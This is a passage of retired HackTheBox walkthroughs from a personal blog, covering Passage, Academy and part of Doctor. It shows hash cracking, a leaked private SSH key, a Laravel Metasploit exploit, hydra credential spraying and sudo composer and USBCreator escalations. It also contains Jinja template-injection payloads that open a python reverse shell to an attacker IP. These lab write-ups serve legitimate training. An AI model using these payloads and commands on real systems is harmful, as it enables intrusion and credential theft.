YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTYwMDA4MDM1OSI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19
a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}
</code></pre></div>
<p>We grab all the hashes and crack them using <code>john</code> and the rockyou wordlist.
<code>Paul</code>'s password is <code>atlanta1</code>.</p>
<div class="highlight"><pre><span></span><code>[maggick@fomalhaut ~]$ john hash -w=~/tools/password_lists/rockyou.txt --fork=8 --rules --format=Raw-SHA256
Using default input encoding: UTF-8
Loaded 4 password hashes with no different salts (Raw-SHA256 [SHA256 128/128 AVX 4x])
Warning: OpenMP was disabled due to --fork; a non-OpenMP build may be faster
Node numbers 1-8 of 8 (fork)
Each node loaded 1/8 of wordfile to memory (about 16 MB/node)
atlanta1 (paul)
Press 'q' or Ctrl-C to abort, almost any other key for status
atlanta1 (paul)
atlanta1 (paul)
atlanta1 (paul)
Waiting for 7 children to terminate
Session completed
</code></pre></div>
<p>We open a shell, and try to switch user but we cannot use <code>su</code> as we don't have
a proper terminal. Using
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md#spawn-tty-shell">Payload all the things cheatsheet</a>
we get an interactive shell and get logged in as <code>paul</code> and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>meterpreter > shell
Process 3053 created.
Channel 14 created.
su
su: must be run from a terminal
/usr/bin/script -qc /bin/bash /dev/null
www-data@passage:/var/www/html/CuteNews/cdata/users$ su paul
su paul
Password: atlanta1
paul@passage:/var/www/html/CuteNews/cdata/users$ cd
cd
paul@passage:~$ cat user.txt
cat user.txt
c9e5ea0c3e42965404e9cf34eaee71bd
</code></pre></div>
<h1>Root</h1>
<p>We grab the SSH key in paul's <code>.ssh</code> folder. The associated public key show us
that this is <code>nadav</code> public (and private) key.</p>
<div class="highlight"><pre><span></span><code>cat .ssh/id_rsa.pub
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCzXiscFGV3l9T2gvXOkh9w+BpPnhFv5AOPagArgzWDk9uUq7/4v4kuzso/lAvQIg2gYaEHlDdpqd9gCYA7tg76N5RLbroGqA6Po91Q69PQadLsziJnYumbhClgPLGuBj06YKDktI3bo/H3jxYTXY3kfIUKo3WFnoVZiTmvKLDkAlO/+S2tYQa7wMleSR01pP4VExxPW4xDfbLnnp9zOUVBpdCMHl8lRdgogOQuEadRNRwCdIkmMEY5efV3YsYcwBwc6h/ZB4u8xPyH3yFlBNR7JADkn7ZFnrdvTh3OY+kLEr6FuiSyOEWhcPybkM5hxdL9ge9bWreSfNC1122qq49d nadav@passage
paul@passage:~$ cat .ssh/id_rsa
cat .ssh/id_rsa
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs14rHBRld5fU9oL1zpIfcPgaT54Rb+QDj2oAK4M1g5PblKu/
+L+JLs7KP5QL0CINoGGhB5Q3aanfYAmAO7YO+jeUS266BqgOj6PdUOvT0GnS7M4i
Z2Lpm4QpYDyxrgY9OmCg5LSN26Px948WE12N5HyFCqN1hZ6FWYk5ryiw5AJTv/kt
rWEGu8DJXkkdNaT+FRMcT1uMQ32y556fczlFQaXQjB5fJUXYKIDkLhGnUTUcAnSJ
JjBGOXn1d2LGHMAcHOof2QeLvMT8h98hZQTUeyQA5J+2RZ63b04dzmPpCxK+hbok
sjhFoXD8m5DOYcXS/YHvW1q3knzQtddtqquPXQIDAQABAoIBAGwqMHMJdbrt67YQ
eWztv1ofs7YpizhfVypH8PxMbpv/MR5xiB3YW0DH4Tz/6TPFJVR/K11nqxbkItlG
QXdArb2EgMAQcMwM0mManR7sZ9o5xsGY+TRBeMCYrV7kmv1ns8qddMkWfKlkL0lr
lxNsimGsGYq10ewXETFSSF/xeOK15hp5rzwZwrmI9No4FFrX6P0r7rdOaxswSFAh
zWd1GhYk+Z3qYUhCE0AxHxpM0DlNVFrIwc0DnM5jogO6JDxHkzXaDUj/A0jnjMMz
R0AyP/AEw7HmvcrSoFRx6k/NtzaePzIa2CuGDkz/G6OEhNVd2S8/enlxf51MIO/k
7u1gB70CgYEA1zLGA35J1HW7IcgOK7m2HGMdueM4BX8z8GrPIk6MLZ6w9X6yoBio
GS3B3ngOKyHVGFeQrpwT1a/cxdEi8yetXj9FJd7yg2kIeuDPp+gmHZhVHGcwE6C4
IuVrqUgz4FzyH1ZFg37embvutkIBv3FVyF7RRqFX/6y6X1Vbtk7kXsMCgYEA1WBE
LuhRFMDaEIdfA16CotRuwwpQS/WeZ8Q5loOj9+hm7wYCtGpbdS9urDHaMZUHysSR
AHRFxITr4Sbi51BHUsnwHzJZ0o6tRFMXacN93g3Y2bT9yZ2zj9kwGM25ySizEWH0
VvPKeRYMlGnXqBvJoRE43wdQaPGYgW2bj6Ylt18CgYBRzSsYCNlnuZj4rmM0m9Nt
1v9lucmBzWig6vjxwYnnjXsW1qJv2O+NIqefOWOpYaLvLdoBhbLEd6UkTOtMIrj0
KnjOfIETEsn2a56D5OsYNN+lfFP6Ig3ctfjG0Htnve0LnG+wHHnhVl7XSSAA9cP1
9pT2lD4vIil2M6w5EKQeoQKBgQCMMs16GLE1tqVRWPEH8LBbNsN0KbGqxz8GpTrF
d8dj23LOuJ9MVdmz/K92OudHzsko5ND1gHBa+I9YB8ns/KVwczjv9pBoNdEI5KOs
nYN1RJnoKfDa6WCTMrxUf9ADqVdHI5p9C4BM4Tzwwz6suV1ZFEzO1ipyWdO/rvoY
f62mdwKBgQCCvj96lWy41Uofc8y65CJi126M+9OElbhskRiWlB3OIDb51mbSYgyM
Uxu7T8HY2CcWiKGe+TEX6mw9VFxaOyiBm8ReSC7Sk21GASy8KgqtfZy7pZGvazDs
OR3ygpKs09yu7svQi8j2qwc7FL6DER74yws+f538hI7SHBv9fYPVyw==
-----END RSA PRIVATE KEY-----
</code></pre></div>
<p>So we just us the SSH key to connect as <code>nadav</code>.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ ssh -l nadav 10.10.10.206 -i .ssh/id_rsa-2
load pubkey ".ssh/id_rsa-2": invalid format
Last login: Mon Sep 14 04:54:44 2020 from 10.10.14.5
nadav@passage:~$ id
uid=1000(nadav) gid=1000(nadav) groups=1000(nadav),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare)
</code></pre></div>
<p>We look at the files in the home folder. In .viminfo we found that one of the
latest edited file is about USBCreator.</p>
<div class="highlight"><pre><span></span><code># Jumplist (newest first):
-' 12 7 /etc/dbus-1/system.d/com.ubuntu.USBCreator.conf
-' 2 0 /etc/polkit-1/localauthority.conf.d/51-ubuntu-admin.conf
</code></pre></div>
<p>A quick Google search lead us a <a href="https://unit42.paloaltonetworks.com/usbcreator-d-bus-privilege-escalation-in-ubuntu-desktop/">blog post</a>
with an USBCreator privilege escalation exploit allowing to write a file on the system as
root. We reproduce the steps in order to copy <code>nadav</code>'s <code>authorized_keys</code> file in
the <code>root</code>'s <code>.ssh</code> directory. We can then connect as <code>root</code> with our SSH key
and get the flag.</p>
<div class="highlight"><pre><span></span><code>nadav@passage:~$ gdbus call --system --dest com.ubuntu.USBCreator --object-path /com/ubuntu/USBCreator --method com.ubuntu.USBCreator.Image /home/nadav/.ssh/authorized_keys /root/.ssh/authorized_keys true
()
nadav@passage:~$ logout
Connection to 10.10.10.206 closed.
kali@kali:~$ ssh -l nadav 10.10.10.206 -i .ssh/id_rsa-2
load pubkey ".ssh/id_rsa-2": invalid format
Last login: Mon Sep 14 05:13:56 2020 from 127.0.0.1
nadav@passage:~$ logout
Connection to 10.10.10.206 closed.
kali@kali:~$ ssh -l root 10.10.10.206 -i .ssh/id_rsa-2
load pubkey ".ssh/id_rsa-2": invalid format
Last login: Mon Aug 31 15:14:22 2020 from 127.0.0.1
root@passage:~# id
uid=0(root) gid=0(root) groups=0(root)
root@passage:~# cat root.txt o
db9c53fcf5bde2fa5a591bcb948a1d3a
</code></pre></div>
<h1>Wrapping up</h1>
<p>This box was quit easy. Not to much rabbit hole. At the end this is just the
chaining of two public exploits. I will recommend it for beginners.</p>HTB: Academy2021-02-28T10:00:00+01:002021-02-28T10:00:00+01:00maggicktag:maggick.fr,2021-02-28:/2021/02/htb-academy.html<p><img alt="Academy card" class="align-left" src="/media/2021.02/academy_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/297">Academy</a> created by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> and publish on
November 7, 2020.
This box is classified as an easy machine. The user part involve a public
exploit and some enumeration. The root part implies enumeration and a <code>sudo</code>
binary.</p>
<p><img alt="Academy card" class="align-left" src="/media/2021.02/academy_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/297">Academy</a> created by
<a href="https://www.hackthebox.com/home/users/profile/1190">egre55</a> and
<a href="https://www.hackthebox.com/home/users/profile/2984">mrb3n</a> and publish on
November 7, 2020.
This box is classified as an easy machine. The user part involve a public
exploit and some enumeration. The root part implies enumeration and a <code>sudo</code>
binary.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only ports 22 (SSH), 80 (HTTP) and 33060 (MYSQL) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.91 scan initiated Wed Nov 11 03:19:47 2020 as: nmap -p- -oN nmap 10.129.39.166
Nmap scan report for 10.129.39.166
Host is up (0.012s latency).
Not shown: 65532 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
33060/tcp open mysqlx
# Nmap done at Wed Nov 11 03:19:55 2020 -- 1 IP address (1 host up) scanned in 8.25 seconds
</code></pre></div>
<h2>Web</h2>
<p>The website is a new HTB feature (as was <a href="/2019/09/htb-swagshop.html">swagshop</a>)
<strong>Academy</strong>. We can register an account but most of the functionalities are not
working.</p>
<p><img alt="Academy homepage" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/academy_01.png"/></p>
<p>We run a <code>dirb</code> on the website that allow use to find the <code>admin.php</code> endpoint.</p>
<div class="highlight"><pre><span></span><code>$ dirb http://academy.htb/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Wed Nov 11 03:24:21 2020
URL_BASE: http://academy.htb/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://academy.htb/ ----
+ http://academy.htb/admin.php (CODE:200|SIZE:2633)
==> DIRECTORY: http://academy.htb/images/
+ http://academy.htb/index.php (CODE:200|SIZE:2117)
+ http://academy.htb/server-status (CODE:403|SIZE:276)
</code></pre></div>
<h3>admin.php</h3>
<p>When taking a closer look at the registration request, we can see that there is
a post parameter <code>roleid</code> set to <code>0</code>.</p>
<div class="highlight"><pre><span></span><code>POST /register.php HTTP/1.1
Host: academy.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 44
Origin: http://academy.htb
Connection: close
Referer: http://academy.htb/register.php
Cookie: PHPSESSID=pf1cigmrl6la8c0o7lte5jubum
Upgrade-Insecure-Requests: 1
uid=toto&password=toto&confirm=toto&roleid=0
</code></pre></div>
<p>Using Burp and the proxy module, we change the <code>roleid</code> parameter to <code>1</code>. Our
new account can now log into the admin part. Which is mostly a <em>todo</em> list,
disclosing the staging environment virtual host.</p>
<p><img alt="Academy Launch Planner" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/academy_02.png"/></p>
<h3>Staging</h3>
<p>We update our <code>/etc/hosts</code> and browse to the staging environment.</p>
<p>http://dev-staging-01.academy.htb/</p>
<p><img alt="Academy staging environment" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/academy_03.png"/></p>
<p>We see in the disclosed path that the staging environment use
the <a href="https://laravel.com/">laravel framework</a> which as a few public exploit one
of them allowing for remote command execution.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~$ searchsploit laravel
-------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------- ---------------------------------
Laravel - 'Hash::make()' Password Truncation Security | multiple/remote/39318.txt
Laravel Log Viewer < 0.13.0 - Local File Download | php/webapps/44343.py
PHP Laravel Framework 5.5.40 / 5.6.x < 5.6.30 - token Unserialize Remote | linux/remote/47129.rb
UniSharp Laravel File Manager 2.0.0 - Arbitrary File Read | php/webapps/48166.txt
UniSharp Laravel File Manager 2.0.0-alpha7 - Arbitrary File Upload | php/webapps/46389.py
-------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
</code></pre></div>
<p>The unserialization exploit is a metasploit one. So we fire up <code>msf</code>, load the
exploit and configure the options to use the API key (disclosed on the debug
page) and our virtual host. Then we run the exploit and get a shell as
<code>www-data</code>.</p>
<div class="highlight"><pre><span></span><code>msf5 exploit(unix/http/laravel_token_unserialize_exec) > show options
Module options (exploit/unix/http/laravel_token_unserialize_exec):
Name Current Setting Required Description
---- --------------- -------- -----------
APP_KEY dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0= no The base64 encoded APP_KEY string from the .env file
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.129.39.166 yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes Path to target webapp
VHOST dev-staging-01.academy.htb no HTTP server virtual host
msf5 exploit(unix/http/laravel_token_unserialize_exec) > run
[*] Started reverse TCP handler on 10.10.14.20:4444
[*] Command shell session 3 opened (10.10.14.20:4444 -> 10.129.39.166:36996) at 2020-11-11 04:11:10 -0500
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
</path></code></pre></div>
<h2>Foothold</h2>
<p>We start enumerating and found a few credentials sets for the database. We also
extract the users list from <code>/etc/passwd</code> and run the retrieved creds against the
SSH service using hydra. The password stored in <code>acedemy/.env</code> allow us to
connect as <code>cry0l1t3</code> using SSH and grab the user flag.</p>
<div class="highlight"><pre><span></span><code>cat ls ../../academy/.env
APP_NAME=Laravel
APP_ENV=local
APP_KEY=base64:dBLUaMuZz7Iq06XtL/Xnz/90Ejq+DEEynggqubHWFj0=
APP_DEBUG=false
APP_URL=http://localhost
LOG_CHANNEL=stack
DB_CONNECTION=mysql
DB_HOST=127.0.0.1
DB_PORT=3306
DB_DATABASE=academy
DB_USERNAME=dev
DB_PASSWORD=mySup3rP4s5w0rd!!
BROADCAST_DRIVER=log
CACHE_DRIVER=file
SESSION_DRIVER=file
$ hydra -L users -p 'mySup3rP4s5w0rd!!' ssh://10.129.39.166
Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-11-11 08:34:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 15 tasks per 1 server, overall 15 tasks, 15 login tries (l:15/p:1), ~1 try per task
[DATA] attacking ssh://10.129.39.166:22/
[22][ssh] host: 10.129.39.166 login: cry0l1t3 password: mySup3rP4s5w0rd!!
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-11-11 08:34:09
$ ssh -l cry0l1t3 10.129.39.166
cry0l1t3@10.129.39.166's password:
Welcome to Ubuntu 20.04.1 LTS (GNU/Linux 5.4.0-52-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 11 Nov 2020 01:53:21 PM UTC
System load: 0.0
Usage of /: 44.5% of 15.68GB
Memory usage: 18%
Swap usage: 0%
Processes: 171
Users logged in: 0
IPv4 address for ens160: 10.129.39.166
IPv6 address for ens160: dead:beef::250:56ff:feb9:a424
0 updates can be installed immediately.
0 of these updates are security updates.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Wed Nov 11 13:35:52 2020 from 10.10.14.20
$ cat user.txt
c3a5e57a709f0c1bdc6874b9ad7af1b1
</code></pre></div>
<h1>Root</h1>
<h2>lateral movement</h2>
<p>Our user is in the <code>adm</code> group. We can run <code>bash</code> to have a better shell.</p>
<p>$ id
uid=1002(cry0l1t3) gid=1002(cry0l1t3) groups=1002(cry0l1t3),4(adm)</p>
<p>According to GNU/Linux <a href="https://book.hacktricks.xyz/linux-unix/privilege-escalation">documentation</a>
this group has access to <code>/var/log/</code> but there is nothing of interest there. We
also have access to the <code>aureport</code> command and list the <code>tty</code> access containing
<code>mrb3n</code> password.</p>
<div class="highlight"><pre><span></span><code>cry0l1t3@academy:/var/log$ aureport --tty
TTY Report
===============================================
# date time event auid term sess comm data
===============================================
Error opening config file (Permission denied)
NOTE - using built-in logs: /var/log/audit/audit.log
1. 08/12/2020 02:28:10 83 0 ? 1 sh "su mrb3n",<nl>
2. 08/12/2020 02:28:13 84 0 ? 1 su "mrb3n_Ac@d3my!",<nl>
3. 08/12/2020 02:28:24 89 0 ? 1 sh "whoami",<nl>
</nl></nl></nl></code></pre></div>
<h2>Composer</h2>
<p>We switch user <code>su</code> to our new <code>mrb3n</code> user and list our sudo persmission. We
have sudo access to <code>composer</code>.</p>
<div class="highlight"><pre><span></span><code>cry0l1t3@academy:/var/log$ su mrb3n
Password:
$ bash
mrb3n@academy:/home$ id
uid=1001(mrb3n) gid=1001(mrb3n) groups=1001(mrb3n)
mrb3n@academy:/home$ sudo -l
[sudo] password for mrb3n:
Matching Defaults entries for mrb3n on academy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User mrb3n may run the following commands on academy:
(ALL) /usr/bin/composer
</code></pre></div>
<p>Using <a href="https://gtfobins.github.io/gtfobins/composer/">gtfobins</a> we quickly
obtain a root shell and the root flag.</p>
<div class="highlight"><pre><span></span><code>mrb3n@academy:/home$ TF=$(mktemp -d)
mrb3n@academy:/home$ echo '{"scripts":{"x":"/bin/sh -i 0<&3 1>&3 2>&3"}}' >$TF/composer.json
mrb3n@academy:/home$ sudo composer --working-dir=$TF run-script x
PHP Warning: PHP Startup: Unable to load dynamic library 'mysqli.so' (tried: /usr/lib/php/20190902/mysqli.so (/usr/lib/php/20190902/mysqli.so: undefined symbol: mysqlnd_global_stats), /usr/lib/php/20190902/mysqli.so.so (/usr/lib/php/20190902/mysqli.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
PHP Warning: PHP Startup: Unable to load dynamic library 'pdo_mysql.so' (tried: /usr/lib/php/20190902/pdo_mysql.so (/usr/lib/php/20190902/pdo_mysql.so: undefined symbol: mysqlnd_allocator), /usr/lib/php/20190902/pdo_mysql.so.so (/usr/lib/php/20190902/pdo_mysql.so.so: cannot open shared object file: No such file or directory)) in Unknown on line 0
Do not run Composer as root/super user! See https://getcomposer.org/root for details
> /bin/sh -i 0<&3 1>&3 2>&3
# id
uid=0(root) gid=0(root) groups=0(root)
# cat /root/root.txt
c54ee4bf2a048550483176f6cb528d95
</code></pre></div>
<h1>Wrapping up</h1>
<p>An easy machine mostly based on public exploit and enumeration. I will recommand
it to begginers.</p>HTB: Doctor2021-02-07T18:15:00+01:002021-02-07T18:15:00+01:00maggicktag:maggick.fr,2021-02-07:/2021/02/htb-doctor.html<p><img alt="Doctor card" class="align-left" src="/media/2021.02/doctor_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/278">Doctor</a> created by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
and publish on September 26, 2020.
This box is classified as an easy machine. The user part implied a server side
template injection and finding a needle in a haystack. The root part required to
use a Splunk exploit to elevate our privileges.</p>
<p><img alt="Doctor card" class="align-left" src="/media/2021.02/doctor_card.png" width="262"/></p>
<p>This is a writeup about a retired HacktheBox machine:
<a href="https://www.hackthebox.com/home/machines/profile/278">Doctor</a> created by
<a href="https://www.hackthebox.com/home/users/profile/94858">egotisticalSW</a>
and publish on September 26, 2020.
This box is classified as an easy machine. The user part implied a server side
template injection and finding a needle in a haystack. The root part required to
use a Splunk exploit to elevate our privileges.</p>
<h1>User</h1>
<h2>Recon</h2>
<p>We start with an nmap scan. Only the ports 22 (SSH), 80 (HTTP) and 8080 (splunk web interface) are open.</p>
<div class="highlight"><pre><span></span><code># Nmap 7.80 scan initiated Mon Sep 28 06:35:31 2020 as: nmap -p- -oN nmap -sSV 10.10.10.209
Nmap scan report for 10.10.10.209
Host is up (0.077s latency).
Not shown: 65532 filtered ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
8089/tcp open ssl/http Splunkd httpd
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon Sep 28 06:37:56 2020 -- 1 IP address (1 host up) scanned in 145.15 seconds
</code></pre></div>
<h2>Web - port 8089</h2>
<p>On the port 8089 we have a splunk running (as found by nmap) but we don't have
access to the different function as we don't know any credentials.</p>
<p><img alt="Front page and contact email" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_00.png"/></p>
<p>An access to this function will have allowed us to
<a href="https://github.com/cnotin/SplunkWhisperer2">have a remote code execution on the server</a>
or <a href="https://github.com/tevora-threat/splunk_local_privesc">allowed us to elevate our privileges on the box</a>.</p>
<h2>Web - port 80</h2>
<p>The website is about healthcare and doctors. We also see an email contact address
on the front page with the domain <em>doctors.htb</em> (note the <em>s</em> at the end).</p>
<p><img alt="Front page and contact email" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_01.png"/></p>
<p>We had the domain to <code>/etc/hosts</code> and browse to it. The website is a "secure"
messaging application with a self sign-in function.</p>
<p><img alt="Doctor Secure Messaging" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_02.png"/></p>
<p>We create an account and post a message.</p>
<p><img alt="Doctor Secure Messaging" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_03.png"/></p>
<p>When looking at the page source code we found a comment about the archive
function:
<code><!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>--></code></p>
<h3>SSTI</h3>
<p>We check for common vulnerabilities and found out that the application is
vulnerable to <a href="https://portswigger.net/web-security/server-side-template-injection">server side template injection</a>
in the title as when our title is <code>{{7*7}}</code> when can see the operation result
(49) in the archive.</p>
<p><img alt="Message with SSTI test payload" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_04.png"/></p>
<p><img alt="Payload executed in the archive section" class="image-process-article-image" src="/media/2021.02/derivatives/article-image/doctor_05.png"/></p>
<p>We can use this injection to <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">execute command on the system</a>.
After a few test we know that python is on the box and can run a few commands.
The payload below runs <code>id</code>.</p>
<p><code>{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/id\"]);'").read().zfill(417)}}{%endif%}{% endfor %}</code></p>
<p>We (obviously) run a netcat listener to catch the command's output.</p>
<div class="highlight"><pre><span></span><code>kali@kali:~/pown/htb_doctor$ nc -l -p 4444
uid=1001(web) gid=1001(web) groups=1001(web),4(adm)
</code></pre></div>
<p>We then go for a reverse shell with the following payload be careful with the
quotes and escaped quotes).</p>
<p><code>{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.10.14.121\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); import pty; pty.spawn(\"/bin/bash\");'").read().zfill(417)}}{%endif%}{% endfor %}</code></p>
<p>That allow us to get a reverse shell on the box.</p>
<h2>Enumeration</h2>
<p>After <em>a lot</em> of enumeration both
<a href="https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation.md">manually</a>
and using tools as
<a href="https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS">linPEAS</a>
we found out that there is <code>backup</code> file in <code>/var/log/apache2</code> containing a call
to the password reset function but the user put its password instead of its
email.</p>
<div class="highlight"><pre><span></span><code>web@doctor:/var/log/apache2$ grep password backup
grep password backup
10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
</code></pre></div>
<p>That password allow us to connect as <code>shaun</code> using the switch user <code>su</code> command
and get the user flag.</p>
<div class="highlight"><pre><span></span><code>web@doctor:/var/log/apache2$ su shaun
su shaun
Password: Guitar123
shaun@doctor:/var/log/apache2$ cat /home/shaun/user.txt
cat /home/shaun/user.txt
2b14d9d9ff996cfb2e4fb96e6db82631
</code></pre></div>
<h1>Root</h1>
<p>Now that we have a username and a password we can try them against the Splunk
service. And they are working!</p>
<p>We transfer the <a href="https://github.com/tevora-threat/splunk_local_privesc">script mentioned above</a>
to the box using <code>python -m http.server</code> on our kali box.</p>
<div class="highlight"><pre><span></span><code>shaun@doctor:/tmp$ wget 10.10.14.121:8000/spelunker.sh
wget 10.10.14.121:8000/spelunker.sh
--2020-09-29 11:22:03-- http://10.10.14.121:8000/spelunker.sh
Connecting to 10.10.14.121:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 2503 (2,4K) [text/x-sh]
Saving to: ‘spelunker.sh.1’
spelunker.sh.1 100%[===================>] 2,44K --.-KB/s in 0s
2020-09-29 11:22:03 (254 MB/s) - ‘spelunker.sh.1’ saved [2503/2503]
</code></pre></div>
<p>Then, we give the execution permission to the script and run it.</p>
<div class="highlight"><pre><span></span><code>shaun@doctor:/tmp$ chmod +x spelunker.sh.1
chmod +x spelunker.sh.1
shaun@doctor:/tmp$ ./spelunker.sh.1
./spelunker.sh.1
[!] SPLUNK LOCAL PRIVESC [!]
[!] This tool assumes the creds are admin:changeme
[!] and the port is 8089
[*] Creating a tmp workspace and moving there...
[*] Creating the splunk app...
[*] Creating the payload...
Tarballing the App and removing temp files...
./APPY/
./APPY/bin/
./APPY/bin/pay.sh
./APPY/local/
./APPY/local/inputs.conf
[*] App should be created...
[*] Installing the malicious splunk app....
HTTP/1.1 201 Created
Date: Tue, 29 Sep 2020 09:22:31 GMT
Expires: Thu, 26 Oct 1978 00:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, max-age=0
Content-Type: text/xml; charset=UTF-8
X-Content-Type-Options: nosniff
Content-Length: 4342
Vary: Cookie, Authorization
Connection: Close
X-Frame-Options: SAMEORIGIN
Server: Splunkd
<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xml" href="/static/atom.xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearch/1.1/" xmlns:s="http://dev.splunk.com/ns/rest">
<title>localapps</title>
<id>https://127.0.0.1:8089/services/apps/local</id>
<updated>2020-09-29T11:22:31+02:00</updated>
<generator build="a1a6394cc5ae" version="8.0.5"></generator>
<author>
<name>Splunk</name>
</author>
<link href="/services/apps/local/_new" rel="create"/>
<link href="/services/apps/local/_reload" rel="_reload"/>
<opensearch:totalresults>1</opensearch:totalresults>
<opensearch:itemsperpage>30</opensearch:itemsperpage>
<opensearch:startindex>0</opensearch:startindex>
<s:messages></s:messages>
<entry>
<title>APPY</title>
<id>https://127.0.0.1:8089/servicesNS/nobody/system/apps/local/APPY</id>
<updated>1970-01-01T01:00:00+01:00</updated>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="alternate"/>
<author>
<name>nobody</name>
</author>
<link href="/servicesNS/nobody/system/apps/local/APPY" rel="list"/>
<link href="/servicesNS/nobody/system/apps/local/APPY/_reload" rel="_reload"/>
